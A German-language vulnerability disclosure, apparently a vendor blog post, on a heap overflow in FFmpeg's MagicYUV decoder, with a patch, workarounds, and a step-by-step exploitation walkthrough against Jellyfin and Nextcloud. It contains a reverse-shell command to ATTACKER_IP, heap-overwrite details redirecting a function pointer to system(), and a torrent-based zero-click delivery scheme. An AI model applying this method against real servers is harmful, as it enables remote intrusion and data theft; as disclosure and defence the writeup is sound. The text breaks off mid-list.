PixelSmash – Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko

Eine kritische Schwachstelle im MagicYUV-Decoder von FFmpeg ermöglichte eine Remote Code Execution über eine präparierte Mediendatei

Pixelsmash – 863x300

JFrog Security Research hat vor Kurzem eine kritische Schwachstelle in FFmpeg – dem weltweit am häufigsten eingesetzten Framework zur Verarbeitung von Mediendateien – entdeckt und offengelegt. Die entdeckte Schwachstelle, die wir PixelSmash genannt haben, trägt das Kürzel CVE-2026-8461 – ein Heap-Out-of-Bounds-Write im MagicYUV-Decoder (CVSS 8,8 Hoch). Wir haben die Schwachstelle von einem einfachen Absturz bis hin zu einer zuverlässigen Remote Code Execution eskaliert. Dafür genügte bereits die Verarbeitung einer einzigen schädlichen Mediendatei.

Der Out-of-Bounds-Write reicht aus, um jede Anwendung, die FFmpeg nutzt, zum Absturz zu bringen – von Desktop-Videoplayern wie Kodi und mpv über Thumbnail-Generatoren in Linux-Dateimanagern bis hin zu Cloud-Transcoding-Pipelines und selbst gehosteten Medienservern. Wir konnten den vollständigen Exploit der Schwachstelle demonstriert, indem wir auf zwei unabhängigen Zielsystemen Remote Code Execution ermöglichten: auf einem Jellyfin-Medienserver (über einen automatischen Library-Scan) und auf einer Nextcloud-Instanz (über den Videovorschau-Anbieter). In beiden Fällen genügte das Hochladen einer präparierten 50-KB-AVI-Datei.

FFmpeg-Nutzern wird empfohlen, so schnell wie möglich auf die gefixte Version upzugraden. Wird der MagicYUV-Decoder nicht benötigt, kann er bereits während des Builds deaktiviert werden (siehe Abschnitt „Workarounds“ weiter unten).

FFmpeg ist in praktisch jeder Anwendung zur Medienverarbeitung auf allen Plattformen integriert oder mit dieser verknüpft – entsprechend groß sind die potenziellen Auswirkungen der Schwachstelle. Wir konnten unter anderem Abstürze bei Kodi, mpv, ffmpegthumbnailer (verwendet von GNOME, KDE und XFCE), Jellyfin, Emby, Nextcloud, Immich, PhotoPrism und OBS Studio bestätigen. Bei Jellyfin konnten wir eine vollständige Remote Code Execution demonstrieren.

PixelSmash ist eine Schwachstelle in der Software-Lieferkette: Ein einziger Bug in einem einzigen Codec-Decoder innerhalb von FFmpeg – einer grundlegenden Abhängigkeit, die in Hunderten von Downstream-Projekten eingebettet ist – breitet sich kaskadenartig auf jede Anwendung aus, die libavcodec einbindet. Keines der betroffenen Projekte (Jellyfin, mpv, Nextcloud, Immich, OBS, vLLM und viele andere) hat diesen Bug selbst eingeführt. Sie haben ihn unbemerkt über ihre Abhängigkeit von FFmpeg übernommen und verfügen in der Regel über keine Mechanismen, um ihn selbst zu erkennen oder zu beheben.

In diesem technischen Blogbeitrag erklären wir die Ursache der Schwachstelle, gehen den Exploit vom Absturz bis zur Codeausführung Schritt für Schritt durch und demonstrieren eine reale Remote Code Execution auf einem Jellyfin-Medienserver – vom Upload einer einzelnen Videodatei bis hin zu einer Reverse Shell.

Wir möchten uns bei den Sicherheitsteams von FFmpeg und Jellyfin für ihre schnelle Reaktion bei der Behebung dieser Probleme bedanken.

Wer ist von PixelSmash betroffen?

Voraussetzungen für einen Angriff

Um PixelSmash auszunutzen, muss ein Angreifer eine manipulierte Mediendatei (AVI-, MKV- oder MOV-Container) an eine beliebige Anwendung übermitteln, die Videos mit FFmpegs libavcodec decodiert. Dazu gehören:

  • Desktop: Ein Nutzer öffnet die schädliche Datei in einem Videoplayer oder navigiert lediglich zu einem Ordner, der die Datei enthält (der Thumbnail-Generator des Dateimanagers kann die Schwachstelle auslösen).
  • Serverseitig: Ein User lädt die Datei auf einen Medienserver (Jellyfin, Emby, Nextcloud, Immich), eine Chat-Plattform (Slack, Discord, Telegram) oder einen Cloud-Transcoding-Dienst (AWS MediaConvert, Cloudflare Stream) hoch. Der Server verarbeitet die Datei anschließend automatisch.
  • Embedded/IoT: Jede NAS-System (Synology, QNAP), Smart-TVs sowie andere Mediengeräte, die Video-Thumbnails oder -Previews generieren.

Abgesehen von der Möglichkeit, eine Mediendatei zu übermitteln, sind keine Authentifizierung, speziellen Berechtigungen oder ein vorheriger Zugriff auf das Zielsystem erforderlich,  – die Standard-Angriffsfläche bei jeder Anwendung zur Medienverarbeitung.

erkennen

Um festzustellen, ob Ihr System den anfälligen MagicYUV-Decoder enthält, führen Sie den folgenden Befehl aus:

ffmpeg -decoders 2>/dev/null | grep magicyuv

Wenn die Ausgabe VFS..D magicyuv enthält, ist Ihr FFmpeg-Build von der Schwachstelle betroffen. Der MagicYUV-Decoder ist in allen Upstream-FFmpeg-Builds und allen von uns getesteten Distributionspaket (Ubuntu, Debian, Fedora, Arch, Alpine) vor Version 9.0 standardmäßig aktiviert.

Workarounds

Falls ein sofortiges Upgrade von FFmpeg nicht möglich ist:

Option 1 – Erstellen Sie FFmpeg neu und deaktivieren Sie dabei den anfälligen Decoder:

./configure --disable-decoder=magicyuv [your other flags]<
make && make install

 

Option 2 – Minimalen Patch anwenden (7 Zeilen werden zu libavcodec/magicyuv.c hinzugefügt):


     if (s->slice_height <= 0 || s->slice_height > INT_MAX -  avctx->coded_height) {
         av_log(avctx, AV_LOG_ERROR, "invalid slice height: %d\n",    s->slice_height);
         return AVERROR_INVALIDDATA;
     }
+    if ((s->slice_height >> s->vshift[1]) <= s->interlaced) {
+        av_log(avctx, AV_LOG_ERROR, "impossible slice height\n");
+        return AVERROR_INVALIDDATA;
+    }
+    if ((avctx->coded_height % s->slice_height) && ((avctx->coded_height % +        s->slice_height) >> s->vshift[1]) <= s->interlaced) {
+        av_log(avctx, AV_LOG_ERROR, "impossible height\n");
+        return AVERROR_INVALIDDATA;

 

Dadurch werden fehlerhafte slice_height-Werte zurückgewiesen, die den Out-of-Bounds-Write triggern. Der Referenz-MagicYUV-Encoder gibt immer korrekt ausgerichtete Slice-Höhen aus, sodass dadurch ausschließlich bösartige Eingaben blockiert werden.

Ein genauerer Blick auf die PixelSmash-Schwachstelle

FFmpeg und Medien-Codecs – eine universelle Angriffsfläche

FFmpeg ist die Basis für die Medienverarbeitung im gesamten Software-Ökosystem. Es ist in praktisch jede Anwendung, die Videos verarbeitet, eingebunden oder mit ihr gebündelt – von Desktop-Playern (mpv, VLC) über selbst gehostete Medienserver (Jellyfin, Plex, Emby) und Cloud-Transcoding-Pipelines (AWS MediaConvert, Cloudflare Stream) bis hin zu Linux-Desktop-Umgebungen (GNOME, KDE nutzen XFCE nutzen es für Video-Thumbnails).

Die FFmpeg-Library libavcodec enthält Decoder für Hunderte Video- und Audio-Codecs. Jeder dieser Decoder parst Bitstream-Daten, die von Angreifern kontrolliert werden können, und schreibt die decodierten Pixel in den dem Heap zugewiesenen Frame-Buffer. Ein Bug in einem beliebigen Decoder kann daher von jeder Anwendung genutzt werden, die das entsprechende Medienformat verarbeitet. Deshalb gehören Codec-Fehler zu den potenziell folgenreichsten Schwachstellenklassen im Software-Ökosystem.

MagicYUV ist ein verlustfreier Video-Codec, der für leistungsstarke Workflows in der Videobearbeitung entwickelt wurde. Obwohl er weniger bekannt ist als H.264 oder VP9, ist sein Decoder in jedem standardmäßigen FFmpeg-Build kompiliert und für AVI-, MKV- und MOV-Container registriert. Jede Anwendung, die eine Videodatei öffnen kann, kann daher den MagicYUV-Decoder auslösen.

CVE-2026-8461 – Heap-Out-of-Bounds-Write im MagicYUV-Decoder

Hintergrund

Bei der Videokompression ist ein Slice ein klar abgegrenzter, horizontal unterteilter Bereich eines einzelnen Videoframes, der unabhängig vom restlichen Frames decodiert werden kann.

Digitale Videos speichern Bilder nur selten im klassischen RGB-Farbraum (Rot, Grün, Blau). Stattdessen kommt der YUV-Farbraum zum Einsatz, bei dem ein Bild in separate Ebenen oder „Planes“ aufgeteilt wird:

  • Y (Luma Plane): Die Helligkeits- bzw. Graustufeninformationen des Bildes. Das menschliche Auge ist besonders gut darin, Helligkeitsunterschiede zu erkennen.
  • U &amp; V (Chroma Plane): Die eigentlichen Farbinformationen. Feine Farbunterschiede nimmt das menschliche Auge deutlich weniger präzise wahr.

Die Ursache: eine Inkonsistenz bei der Rundung

Die Schwachstelle ist ein Heap-Pufferüberlauf um eine Zeile bei der Verarbeitung von Slices im MagicYUV-Decoder. Der Grund ist, dass der Frame-Allocator und der Decoder die Höhe der Chroma-Ebenen unterschiedlich berechnen.

MagicYUV codiert Videos in horizontalen Slices. Bei unterabgetasteten Pixelformaten wie YUV420P (bei denen die Chroma-Ebenen nur die Hälfte der vertikalen Auflösung der Luma-Ebene aufweisen) muss der Decoder die Slice-Höhen von Luma-Zeilen mithilfe von aufgerundeten Rechts-Shifts in Chroma-Zeilen umrechnen.

Das Problem: Wenn slice_height ungerade ist, fügt der aufgerundete Shift (AV_CEIL_RSHIFT) eine zusätzliche Zeile pro Slice hinzu. Über mehrere Slices hinweg summieren sich diese zusätzlichen Zeilen, bis sie über das Ende des für die Chroma-Ebene vorgesehenen Puffers hinausreichen.

Das Problem lässt sich in folgende Schritte unterteilen:

1. Der Frame-Allocator berechnet, wie hoch der Puffer für die Chroma-Ebene sein sollte. In update_frame_pool (get_buffer.c) wird die Frame-Höhe zunächst auf 32 ausgerichtet und anschließend für Chroma halbiert:

allocated chroma rows = AV_CEIL_RSHIFT(FFALIGN(32, 32), 1) = 16

Der Puffer der Chroma-Ebene ist für 16 Zeilen ausgelegt.

2. Der Decoder liest slice_height direkt aus dem vom Angreifer kontrollierten Bitstream (magicyuv.c:550 aus):

s->slice_height = bytestream2_get_le32u(&gb);

Mit unserem gezielt gewählten Wert slice_height = 31 und coded_height = 32 berechnet der Decoder Folgendes:

// magicyuv.c:559 - number of slices
s->nb_slices = (32 + 31 - 1) / 31 = 2;

// magicyuv.c:275 - chroma rows per slice (ceiling-rounded)
int sheight = AV_CEIL_RSHIFT(31, 1) = 16;

3. Für den zweiten (letzten) Slice berechnet der Decoder den Ziel-Pointer folgendermaßen:


// magicyuv.c:287
dst = p->data[1] + j * height * stride
    = p->data[1] + 1 * 16 * stride    // row 16 of a 16-row buffer!

Der Chroma-Puffer umfasst die Zeilen 0–15 (16 Zeilen). Der Decoder schreibt jedoch in Zeile 16 – also eine ganze Zeile über das Ende des zugewiesenen Bereichs hinaus.

4. Der OOB-Write wird ausgelöst. Im Raw-Modus kopiert der Decoder die vom Angreifer kontrollierten Bytes direkt:


// magicyuv.c:291-294
for (k = 0; k < height; k++) {
    bytestream_get_buffer(&slice, dst, width);  // OOB WRITE
    dst += stride;
}

 

Bei width = 640 (bei unserer coded_width = 1280, für Chroma halbiert) werden dadurch 640 vollständig vom Angreifer kontrollierte Bytes in den Heap-Block geschrieben, der unmittelbar auf den Puffer der Chroma-Ebene folgt.

Die bestehende slice_height-Validierung in magicyuv.c:566 prüft nur den Interlaced-Codepfad. Der von uns ausgenutzte Non-Interlaced-Pfad dagegen enthält keinerlei Prüfung der Ausrichtung:


// magicyuv.c:566-568 - guard ONLY for interlaced mode
if (s->interlaced) {
    if ((s->slice_height >> s->vshift[1]) < 2)

 

Der ASAN-Bericht vom Upstream-Master bestätigt den Overflow eindeutig:


==PID==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 512 at 0x52500000214f thread T0
    #2 bytestream_get_buffer  libavcodec/bytestream.h:367
    #3 magy_decode_slice      libavcodec/magicyuv.c:292
    #5 magy_decode_frame      libavcodec/magicyuv.c:630

0x52500000214f is located 0 bytes after 8271-byte region

 

Diagramm 1 – Heap-Layout

Pixelsmash -

Vom OOB-Write zur Codeausführung: AVBuffer kapern

Ein Heap-Overflow ist nur von Nutzen, wenn der Angreifer etwas Relevantes überschreiben kann. Im Heap-Layout von FFmpeg ist das die AVBuffer-Struktur – das referenzgezählte Objekt zur Pufferverwaltung, das FFmpeg unmittelbar nach den Pixeldaten jeder Ebene zuweist.

Sobald FFmpeg die Decodierung eines Frames abgeschlossen hat, ruft es av_frame_unref auf, das für jede Ebene die zugehörige Buffer-Referenz durchläuft und av_buffer_unref aufruft. Innerhalb von av_buffer_unref (libavutil/buffer.c:133) geschieht Folgendes, sobald der Refcount null erreicht:

buf->free(buf->opaque, buf->data);

 

Dabei handelt es sich um einen indirekten Aufruf über einen im Heap gespeicherten Funktionszeiger. Wenn wir buf->free mit der Adresse von system()-aus der libc und buf->opaque mit einem Zeiger auf einen Shell-Command-String überschreiben können, wird aus dem indirekten Aufruf:

system(cmd_string);   // attacker's shell command executes

 

Unser OOB-Write von 640 Byte trifft direkt auf die AVBuffer struct der Cb-Chroma-Ebene. Das Heap-Layout im OOB-Bereich sieht wie folgt aus (erfasst via GDB auf der in Jellyfin gebündelten Version jellyfin-ffmpeg 7.1.3):

 


OOB + 0:     [88 bytes of zeros - command string hole]
OOB + 88:    [glibc chunk headers - must be preserved]
OOB + 256:   AVBuffer struct:
  +256         .data      = Cb_data pointer
  +264         .size      = 0x284f
  +272         .refcount  = 1          <- we write 1
  +280         .free      =  <- we overwrite with &system
  +288         .opaque    =  <- we overwrite with &cmd_string OOB + 384: AVBufferRef.buffer -> points back to AVBuffer at +256

 

Der Exploit platziert einen NUL-terminierten Shell-Befehl am OOB-Offset 0 (in einem 88 Byte großen Nullbereich, der frei von glibc-Metadaten ist) und überschreibt anschließend:

  • AVBuffer.free -> Adresse von libc system()
  • AVBuffer.opaque -> Heap-Adresse der Befehlszeichenfolge bei OOB + 0
  • AVBuffer.refcount -> 1 (damit beim Dekrementieren null erreicht und der Aufruf getriggert wird)

Wenn av_buffer_unref während der normalen Frame-Bereinigung ausgeführt wird, wird aus dem indirekten Aufruf system(“attacker_command”). Der neu gestartete Shell-Prozess (“Shell Child”) führt den Befehl aus, bevor der übergeordnete FFmpeg-Prozess (“Parent Shell”) aufgrund der nachfolgenden Heap-Korruption abstürzt – der Befehl wurde zu diesem Zeitpunkt bereits ausgeführt.

Die zentrale Herausforderung besteht darin, dass die malloc-Chunk-Header von glibc innerhalb des OOB-Bereichs exakt erhalten bleiben müssen. Andernfalls erkennen free()-Aufrufe bei anderen Speicherzuweisungen eine Beschädigung und brechen den Prozess ab, bevor unser manipuliertes av_buffer_unref ausgeführt wird. Unser Exploit codiert die im Heap des Zielsystems beobachteten exakten Chunk-Metadaten in den OOB-Payload und verwendet dafür Left-Prediction-Codierung, die dem Dekompressionsalgorithmus von MagicYUV entspricht.

Diagramm 2 – Exploit-Ablauf

Pixelsmash-Diagramm 2

Vom Absturz zur RCE: Eine Schwachstelle eskalieren

Der Heap-OOB-Write ist nicht nur ein Denial of Service. Wir haben ihn zu einer zuverlässigen Ausführung beliebiger Befehle gegen die mit Jellyfin gebündelte FFmpeg-Version 7.1.3 ausgeweitet.

Wichtige Einschränkung: Für diese Demonstration war ASLR deaktiviert. Unser Exploit erfordert hartkodierte Adressen für system() und den OOB-Command-String. Das bedeutet, dass er nur dann deterministisch funktioniert, wenn ASLR deaktiviert ist (setarch x86_64 -R) . In einer standardmäßigen Linux-Konfiguration mit aktiviertem ASLR werden die Adressen bei jeder Ausführung randomisiert, sodass der Exploit nicht zuverlässig funktioniert. Wir haben jedoch eine separate Sicherheitslücke im FlashSV-Decoder von FFmpeg (libavcodec/flashsv.c) identifiziert – die Offenlegung eines nicht initialisierten Heap-Speichers. Diese Schwachstelle ist seit Juli 2022 im Upstream-FFmpeg vorhanden und zum Zeitpunkt der Veröffentlichung noch nicht behoben worden. Sie lässt sich allerdings nur ausnutzen, wenn bestimmte Umgebungsoptionen für FFmpeg verwendet werden (z. B. -threads 1) – daher wird ihr Schweregrad lediglich als „informativ“ eingestuft. Grundsätzlich könnte ein ähnliches Informationsleck, das künftig entdeckt wird, mit dem MagicYUV-OOB-Write kombiniert werden, um ASLR zu umgehen und auch bei vollständig aktivierten Schutzmaßnahmen eine RCE zu ermöglichen. Eine solche Verkettung erfordert jedoch weitere Untersuchungen und wurde bislang nicht demonstriert. Der MagicYUV-OOB-Write allein (ohne ASLR-Umgehung) reicht bei allen getesteten Zielen für einen zuverlässigen DoS aus.

Für die Eskalation des Exploits mussten wir drei technische Herausforderungen lösen:

  1. Präzise Kalibrierung des Heap-Layouts: Der OOB-Payload muss die richtigen Werte an den richtigen Offsets schreiben, um die AVBuffer-Struktur zu treffen. Dafür haben wir eine GDB-basierte Auto-Kalibrierungs-Pipeline entwickelt, die den exakten Zustand des Heaps unmittelbar vor dem OOB-Write erfasst, alle Chunk-Metadaten-Qwords extrahiert und eine präzise Exploit-AVI/MKV/MOV-Datei generiert.
  2. Integrität der glibc-Chunks erhalten: Der 640 Byte große OOB-Bereich enthält glibc-malloc-Chunk-Header (Free-List-Pointer, Blockgrößen, PREV_INUSE-Flags). Wird auch nur einer dieser Werte beschädigt, brechen die Integritätsprüfungen von glibc den Prozess ab, bevor unser manipuliertes av_buffer_unref ausgeführt wird. Unser Exploit erhält alle 33 Metadaten-Qwords genau so, wie sie im Live-Heap vorliegen.
  3. Erhalt des OOB-Bereichs der Cr-Ebene: Sowohl bei der Cb- als auch bei der Cr-Chroma-Ebene kommt es zu einem OOB-Write von jeweils einer Zeile. Der OOB-Bereich der Cr-Ebene enthält einen tcache-Eintrag und den glibc-Top-Chunk. Wird die Größe des Top Chunks beschädigt, schlagen die internen malloc-Aufrufe von system() für fork()/exec() fehl. Unser Exploit codiert daher die exakten Cr-Heap-Metadaten, damit sie unverändert erhalten bleiben.

Exploit in der Praxis: RCE auf einem Jellyfin-Medienserver

Um die Auswirkungen in der Praxis zu demonstrieren, haben wir eine vollständige Remote Code Execution auf einem Jellyfin-Medienserver der Version 10.11.9 – dem zweitbeliebtesten selbst gehosteten Medienserver (nach Plex) – über dessen reguläre Medienbibliothek-Scan-Pipeline erreicht.

Angriffspfad: Download einer präparierten MagicYUV-AVI-Datei in die Medienbibliothek -> Jellyfin startet automatisch ffprobe, um Metadaten auszulesen -> der OOB-Write wird ausgelöst -> AVBuffer.free wird so manipuliert, dass auf system() verwiesen wird -> ein beliebiger Befehl wird als Jellyfin-Servicenutzer (uid 115) ausgeführt.

Kalibrierung: Warum das Heap-Layout wichtig ist

Das Heap-Layout des OOB-Bereichs hängt von den genauen ffprobe-Kommandozeilenargumenten und der Länge des Eingabedateipfads ab. Das haben wir im Zuge von drei vollständigen Rekalibrierungszyklen festgestellt:

  1. Basisargumente verändern das Heap-Layout: Der ffprobe-Aufruf von Jellyfin enthält Optionen, die bei einem einfachen ffprobe-Aufruf nicht vorhanden sind (via strace im laufenden Jellyfin-Prozess erfasst):

ffprobe -analyzeduration 200M -probesize 1G -threads 0 -v warning
        -print_format json -show_streams -show_chapters -show_format
        -show_frames -only_first_vframe -i file:

 

  1. Das Flag -threads 0 verschiebt den Heap um ~ 0x200: Die Multithreading-Option verursacht zusätzliche Thread-Kontextzuweisungen, die den Chroma-Puffer an eine andere Heap-Adresse verschieben.
  2. Die Länge des Dateipfads verschiebt den Heap um etwa 0x40 pro Längenklasse: file:/tmp/test.avi (kurzer Pfad) erzeugt ein anderes Layout als file:/var/lib/jellyfin/media/movies/Summer_Memories_2026.avi (Produktionspfad). Dateinamen mit gleicher Länge erzeugen identische Layouts. Genau diese Erkenntnis macht den Exploit bei einem bekannten Deployment deterministisch.

Der Exploit

Unsere abschließende Kalibrierung ist auf einen 60 Zeichen langen Dateipfad ausgelegt (entsprechend der standardmäßigen Struktur der Jellyfin-Medienbibliothek). Die Exploit-AVI-Datei:

  • Platziert den Shell-Befehl (bash -c ‘bash -i >&amp; /dev/tcp/ATTACKER_IP/4444 0>&amp;1’) im 88 Byte großen Nullbereich bei OOB-Offset 0
  • Erhält alle 33 Qwords der glibc-Chunk-Metadaten im Cb-OOB-Bereich unverändert
  • Erhält den tcache-Eintrag und den Top Chunk im Cr-OOB-Bereich (entscheidend: Wenn die Größe des Top Chunks beschädigt ist, schlägt der interne fork()/exec()-Pfad von system() fehl)
  • Überschreibt AVBuffer.free mit system() und AVBuffer.opaque mit der Adresse des Befehlsstrings

Die gesamte Exploit-Payload wird zu einer einzigen AVI-Datei mit 50 KB (alternativ kann es auch ein MKV- oder MOV-Container sein).

Das Ergebnis: Reverse Shell durch einen Video-Upload

Wir haben einen Listener auf dem Rechner des Angreifers eingerichtet und einen Scan der Jellyfin-Library ausgelöst (für diese Demonstration war ASLR deaktiviert war – siehe dazu die Erläuterungen zu ASLR weiter oben). Wenige Sekunden nachdem ffprobe von Jellyfin die hochgeladene Datei verarbeitet hatte, erhielten wir eine Reverse Shell, die mit den Rechten des Jellyfin-Servicenutzers ausgeführt wurde:

$ nc -l 4444
jellyfin@ubuntu-vm:~$ id
uid=115(jellyfin) gid=121(jellyfin) groups=121(jellyfin),29(audio),44(video),100(users)
jellyfin@ubuntu-vm:~$ whoami
jellyfin

Aus dem Jellyfin-Benutzerkontext heraus hat ein Angreifer Zugriff auf sämtliche Medienbibliotheken, die Serverkonfiguration und API-Schlüssel und kann (je nach Deployment) möglicherweise auf andere Dienste im Netzwerk übergreifen bzw. sich lateral im Netzwerk weiterbewegen (Lateral Movement).

Zero-Click-Angriff über Torrent-Downloads

Ein besonders gefährlicher Angriffsweg in der Praxis sind Torrent-Downloads, die direkt in Medienserver-Libraries gelangen. Viele Jellyfin-Nutzer konfigurieren ihren Torrent-Client (qBittorrent, Transmission, Deluge) so, dass heruntergeladene Dateien direkt im überwachten Medienbibliotheksordner von Jellyfin landen – z. B. /var/lib/jellyfin/media/movies/.

Der Angriff erfordert nach dem ursprünglichen Torrent-Download keine weitere Nutzerinteraktion:

  • Der Angreifer stellt eine bösartige MagicYUV-AVI-Datei auf einem öffentlichen Torrent-Tracker bereit und tarnt sie als beliebten Film (z. B. Blockbuster_Movie_2026_1080p.avi, 50 KB)
  • Der Torrent-Client des Opfers lädt die Datei direkt in den Ordner der Jellyfin-Medienbibliothek herunter
  • Die Echtzeit-Dateisystemüberwachung von Jellyfin erkennt die neue Datei und startet automatisch einen ffprobe-Metadaten-Scan
  • Während des Scans wird der Exploit ausgelöst: AVBuffer.free wird zu system() umgeleitet und der Reverse-Shell-Befehl des Angreifers wird als jellyfin-Dienstbenutzer ausgeführt

Nachdem der Torrent-Download abgeschlossen ist, muss der Nutzer nichts weiter tun. Das Opfer muss die Datei weder öffnen noch abspielen oder überhaupt ansehen – der automatische Scan der Jellyfin-Library übernimmt den Rest. Damit wird der Torrent-Vektor bei gängigen Konfigurationen von Home-Medienservern zu einem echten Zero-Click-Exploit.

Dasselbe Prinzip gilt für jede automatisierte Medien-Pipeline, bei der heruntergeladene Dateien in einem überwachten Verzeichnis landen: Sonarr/Radarr -> Jellyfin, NZBGet -> Emby oder andere &quot;Watch Folder&quot;, bei denen neue Dateien automatisch eine ffmpeg-basierte Verarbeitung triggern.

Diagramm 3 – Realer Angriff

Pixelsmash-Diagramm 3

Hinweis zu jemalloc: Jellyfins /etc/default/jellyfin enthält eine auskommentierte LD_PRELOAD-Zeile für libjemalloc2. Wenn ein Nutzer oder eine Distribution diese aktiviert, würde das abweichende Heap-Layout von jemalloc verhindern, dass der glibc-kalibrierte Exploit greift. In diesem Fall ist das jedoch nur ein zufälliger Nebeneffekt, weil nichts in der Standardkonfiguration darauf ausgelegt ist, den Angriff zu stoppen. Bei der Default-Apt-Installation ist jemalloc nicht aktiviert und ffprobe nutzt standardmäßig das glibc-Heap-Layout, das von unserem Exploit benötigt wird.

Exploit in der Praxis: Nextcloud-RCE via Vorschaugenerierung

Um zu demonstrieren, dass sich der Exploit auf verschiedene Anwendungen und FFmpeg-Versionen übertragen lässt, haben wir die RCE-Kette auf Nextcloud portiert – die führende selbst gehostete Cloud-Speicherplattform, die einen vollständig unabhängigen FFmpeg-Build nutzt.

Nextcloud verfügt über einen optionalen Film-Preview-Provider (OC\Preview\Movie), der die systemeigene ffmpeg-Binärdatei zur Generierung von Thumbnails aufruft. Ist dieser aktiviert, löst bereits das Aufrufen der Files-App die Schwachstelle bei jedem Video aus, das keine zwischengespeicherte Vorschau hat.

Der Angreifer nur dafür zu sorgen, dass die Datei in der Ordnerübersicht sichtbar ist. Die weitere Verarbeitung erfolgt serverseitig, wodurch ein Near-Zero-Click-Vector entsteht.

Ein beispielhafter Angriffspfad sieht so aus: Ein Nutzer lädt die manipulierte AVI-Datei über die Weboberfläche hoch –> die Datei erscheint in der Dateiansicht -> Nextcloud startet ffmpeg zur Extraktion von Metadaten und Preview –> der MagicYUV-OOB-Write wird ausgelöst –> AVBuffer.free wird so manipuliert, dass der Aufruf an system() umgeleitet wird –> beliebige Befehle werden als www-data-Benutzer ausgeführt.

Der www-data-Kontext ist besonders relevant: Er gewährt direkten Zugriff auf sämtliche Benutzerdaten sowie auf die Datenbankanmeldeinformationen in der config.php und bietet einen wirkungsvollen Ausgangspunkt für weitere Angriffe im internen Netzwerk.

Die Ausnutzung erfolgt völlig unbemerkt. Im Webinterface ist der einzige Hinweis ein generisches Dateisymbol dort, wo ein Thumbnail zu sehen sein sollte. Weder Fehlermeldungen noch Pop-ups machen den Nutzer nicht auf den Angriff aufmerksam. Und auch der folgende Absturz geht in serverseitigen Protokollen unter, die von Administratoren häufig nicht aktiv überwacht werden.

Weitere Details finden Sie im folgenden Video:

Auswirkungen auf das Ökosystem: DoS in allen Medien-Stacks

Auch ohne die RCE-Kette führt bereits der MagicYUV-OOB-Write allein bei allen von uns getesteten gängigen Anwendungen zur Medienverarbeitung zu einem sofortigen Absturz:

Ziel Wie es FFmpeg verwendet Absturzverhalten
mpv (Desktop-Player) Verknüpft die systemweite libavcodec munmap_chunk(): invalid pointer – SIGABRT
Kodi Verknüpft die systemweite libavcodec Absturz
ffmpegthumbnailer (GNOME/KDE/XFCE) Verknüpft die systemweite libavcodec SIGSEGV, core dumped
Jellyfin 10.11.9 Gebündeltes jellyfin-ffmpeg 7.1.3 Unbemerkter Heap-Fehler (kein Absturz, keine Fehlermeldung)
Emby 4.8.11 Gebündeltes emby-ffmpeg 5.1 Unbemerkter Heap-Fehler, exit 0
Nextcloud (Preview Worker) Systemweites ffmpeg via Shell-Out Absturz + RCE als www-data | nicht standardmäßige Konfiguration (Filmvorschau-Provider)
Immich (Transcodierungs-Service) Systemweites ffmpeg SIGABRT
PhotoPrism (Poster-Extraktion) Systemweites ffmpeg SIGABRT
OBS Studio Systemweite libavcodec Absturz

 

Die Datei ist nur 50 KB groß und funktioniert in drei verschiedenen Containerformaten:

Container Unterstützt MagicYUV? Bringt FFmpeg zum Absturz?
AVI Ja Ja
MKV / Matroska Ja Ja
MOV / QuickTime Ja Ja
MP4 Nein (Codec nicht in MP4-Registry) N/A

Eine Schwachstelle in der Lieferkette mit potenziell enormer Reichweite

Die obige Tabelle veranschaulicht, warum PixelSmash im Kern eine Lieferketten-Schwachstelle ist. libavcodec von FFmpeg ist die Standard-Library für die Decodierung von Medien und als transitive Abhängigkeit in praktisch jede Anwendung eingebettet, die Videos verarbeitet. Der MagicYUV-Decoder ist in jedem Upstream-Build standardmäßig aktiviert und Downstream-Projekte übernehmen ihn ohne explizites Opt-in.

Das bedeutet: Ein einzelner Fehler in magicyuv.c – 600 Zeilen Codec-spezifischer Code, den die meisten Downstream-Maintainer nie gelesen haben – verbreiten sich unbemerkt auf mpv, Jellyfin, Emby, Nextcloud, Immich, PhotoPrism, OBS, vLLM und Hunderte andere Projekte. Jedes dieser Projekte vertraut darauf, dass FFmpeg nicht vertrauenswürdige Eingaben sicher verarbeitet. Keines davon verfügt über die nötige Transparenz oder Expertise, um einzelne Codec-Decoder zu überprüfen. Genau darin liegt das Lieferkettenproblem: Ihre Angriffsfläche umfasst jede Codezeile in jeder Abhängigkeit, die Sie ausliefern –unabhängig davon, ob Sie sie selbst geprüft haben oder nicht.

Der Ansatz von Plex – FFmpeg mit –disable-decoders und einer minimalen Allowlist zu bauen – ist die einzige wirksame Schutzmaßnahme, die wir beobachten konnten. Gleichzeitig ist es auch die seltenste: Von allen Projekten, die wir getestet haben, setzt ausschließlich Plex auf diesen Ansatz.

Diagramm4 – Auswirkungen auf die Lieferkette

Pixelsmash-Diagramm 4

Unbemerkte Heap-Korruption ist schlimmer als ein Absturz

Jellyfin und Emby verarbeiten die schädliche Datei mit exit code 0 und ohne Fehlerausgabe. Das heißt jedoch keineswegs, dass kein Fehler vorliegt; der Heap wird trotzdem unbemerkt beschädigt. Mit ASAN instrumentierte Builds derselben FFmpeg-Version bestätigen, dass derselbe 640 Byte große OOB-Write ausgelöst wird. Die Produktionsbinärdatei löst die Integritätsprüfung von glibc für den beschädigten Chunk einfach nicht aus.

Ein lang laufender Jellyfin-Server verarbeitet Hunderte von schädlichen Uploads, wobei sich die Heap-Korruption mit jedem einzelnen fortsetzt – ohne irgendein Fehlersignal an den Administrator. Dies ist möglicherweise das schlimmste Fehlerszenario: Der Server wird aktiv ausgenutzt, während nichts in irgendeinem Log den Betreiber darauf hinweist.

SaaS-Kostensteigerung (in der Theorie)

Jede Cloud-Pipeline zur Videoverarbeitung, die von Nutzern hochgeladene Mediendateien akzeptiert, setzt auf FFmpeg-basierte Worker. Fehlgeschlagene Jobs werden erneut ausgeführt – und jede Wiederholung löst den Absturz erneut aus:

Anzahl der Wiederholungsversuche Kostensteigerung pro 50-KB-Upload
AWS Lambda Standardwert (3 Wiederholungsversuche) 13,7x
Sidekiq-Standardwert (25 Wiederholungsversuche) ~114x
AWS Step Functions (MaxAttempts: 10) ~46x

 

Ein kontinuierlicher Upload schädlicher Dateien mit 1 KB/s (deutlich unterhalb dem üblichen Ratenlimit) würde den Betreiber theoretisch allein bei AWS Lambda rund 200 $/Tag kosten. Das asymmetrische Kostenverhältnis bei den Preisen für ausgehenden Netzwerk-Traffic beträgt etwa 50.000:1 zugunsten des Angreifers.

Die Angriffsfläche jenseits der direkten Videowiedergabe

Die Schwachstelle kann über jeden Codepfad ausgelöst werden, der einen MagicYUV-Stream durch den Decoder von libavcodec leitet. Neben der direkten Wiedergabe betrifft das unter anderem:

